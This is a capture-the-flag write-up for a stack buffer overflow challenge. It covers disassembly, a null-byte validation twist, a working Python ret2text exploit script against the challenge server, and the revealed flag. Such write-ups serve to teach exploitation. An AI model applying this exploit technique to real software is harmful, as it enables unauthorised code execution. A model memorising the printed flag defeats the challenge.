Challenge Name: Warmup
Category: PWN
CTF: MOJO-JOJO
Description: A quiet hall.Just Speak, and be heard!!
Connection: nc mojo-pwn.securinets.tn 9001
Challenge Overview#
We’re given a binary executable called main and a remote server to exploit. The challenge hint “Just Speak, and be heard!!” suggests there’s something special about how we need to communicate with the program.
Initial Analysis#
Binary Information#
$ file main
main: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, not stripped
String Analysis#
$ strings main
Welcome to the warmup challenge!
Enter your input:
Good job!
cat flag.txt
The presence of system function and “cat flag.txt” string immediately suggests a ret2text attack where we need to redirect execution to a specific address.
Reverse Engineering#
Main Function#
Disassembling the main function reveals:
0000000000401228 <main>:
401228: push rbp
401229: mov rbp,rsp
...
401268: call 401186 <vuln> ; Call vulnerable function
40126d: lea rax,[rip+0xdd2] ; Load "cat flag.txt"
401274: mov rdi,rax
401277: call 401040 <system@plt> ; Call system("cat flag.txt")
40127c: mov eax,0x0
401281: pop rbp
401282: ret
Key Finding: After returning from vuln(), main calls system("cat flag.txt") at address 0x40126d.
Vuln Function#
The vulnerable function is where the exploitation happens:
0000000000401186 <vuln>:
401186: push rbp
401187: mov rbp,rsp
40118a: sub rsp,0x50 ; Allocate 80 bytes for buffer
...
4011c0: lea rax,[rbp-0x50] ; Buffer address
4011c4: mov edx,0xc8 ; Read 200 bytes (OVERFLOW!)
4011c9: mov rsi,rax
4011cc: mov edi,0x0
4011d1: call 401060 <read@plt>
Vulnerability: Buffer is 80 bytes (rbp-0x50) but reads 200 bytes (0xc8)!
The Validation Check#
After reading input, there’s an interesting validation loop:
4011d9: mov eax,DWORD PTR [rbp-0x8] ; bytes_read
4011dc: mov edx,0x40 ; 64
4011e1: cmp eax,edx
4011e3: cmovg eax,edx ; check_len = min(bytes_read, 64)
4011e6: mov DWORD PTR [rbp-0xc],eax
4011e9: mov DWORD PTR [rbp-0x4],0x0 ; i = 0
4011f0: jmp 40120e
; Loop body
4011f2: mov eax,DWORD PTR [rbp-0x4] ; i
4011f5: cdqe
4011f7: movzx eax,BYTE PTR [rbp+rax*1-0x50] ; buffer[i]
4011fc: test al,al ; Check if byte is zero
4011fe: je 40120a ; If zero, continue
401200: mov edi,0x1
401205: call 401090 <exit@plt> ; If NON-ZERO, exit!
40120a: add DWORD PTR [rbp-0x4],0x1 ; i++
40120e: mov eax,DWORD PTR [rbp-0x4]
401211: cmp eax,DWORD PTR [rbp-0xc]
401214: jl 4011f2 ; Loop while i < check_len
Critical Discovery: The program checks the first 64 bytes of input and exits if ANY byte is non-zero!
This is the opposite of what you’d typically expect in a buffer overflow - we need to send null bytes to pass the validation!
Exploitation Strategy#
Understanding the Constraints#
- Buffer starts at
rbp-0x50(80 bytes from saved rbp) - Saved rbp is at 8 bytes before return address
- Total offset to return address:
0x50 + 8 = 88 bytes - The validation only checks the first
min(bytes_read, 64)bytes - Bytes 0-63 must be NULL (0x00) to pass validation
- Bytes 64-95 can be anything we want!
The Exploit#
Since we can control bytes after the 64th byte, and the return address is at offset 88:
[64 null bytes] + [24 filler bytes] + [return address: 0x40126d]
The return address 0x40126d points to the instruction that calls system("cat flag.txt").
Payload Structure#
Offset 0-63: \x00 * 64 (Pass validation check)
Offset 64-87: 'A' * 24 (Filler to reach return address)
Offset 88-95: \x6d\x12\x40\x00\x00\x00\x00\x00 (Return address, little-endian)
Exploit Code#
#!/usr/bin/env python3
import socket
import struct
HOST = 'mojo-pwn.securinets.tn'
PORT = 9001
# Address where system("cat flag.txt") is called
system_call_addr = 0x40126d
# Calculate offset to return address
offset = 0x50 + 8 # 88 bytes
# Build payload
payload = b'\x00' * 64 # Pass the null byte check
payload += b'A' * (offset - 64) # Fill to return address
payload += struct.pack('<Q', system_call_addr) # Overwrite return address
# Connect and exploit
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((HOST, PORT))
# Receive prompt
data = s.recv(4096)
print(data.decode())
# Send payload
s.sendall(payload)
# Get flag
import time
time.sleep(0.5)
try:
s.settimeout(2)
while True:
data = s.recv(4096)
if not data:
break
print(data.decode(), end='')
except socket.timeout:
pass
s.close()
Execution#
$ python3 exploit.py
Welcome to the warmup challenge!
Enter your input:
Good job!
MOJO-JOJO{st4rt1ng_fr0m_z3r0_1s_th3_k3y}
Final Flag#
MOJO-JOJO{st4rt1ng_fr0m_z3r0_1s_th3_k3y}
Key Takeaways#
Read the assembly carefully: The validation check was doing the opposite of what you might expect - it required NULL bytes, not printable characters.
Challenge hint: “Just Speak, and be heard!!” - Being “quiet” (sending null/zero bytes) was the key to being “heard” (getting the flag).
Partial buffer checks: The validation only checked the first 64 bytes, but we could overflow up to 200 bytes, allowing us to control the return address beyond the checked region.
This challenge demonstrates that buffer overflow exploits can have creative twists, and assumptions about input validation can be misleading. Always analyze the exact behavior of checks rather than assuming their purpose.





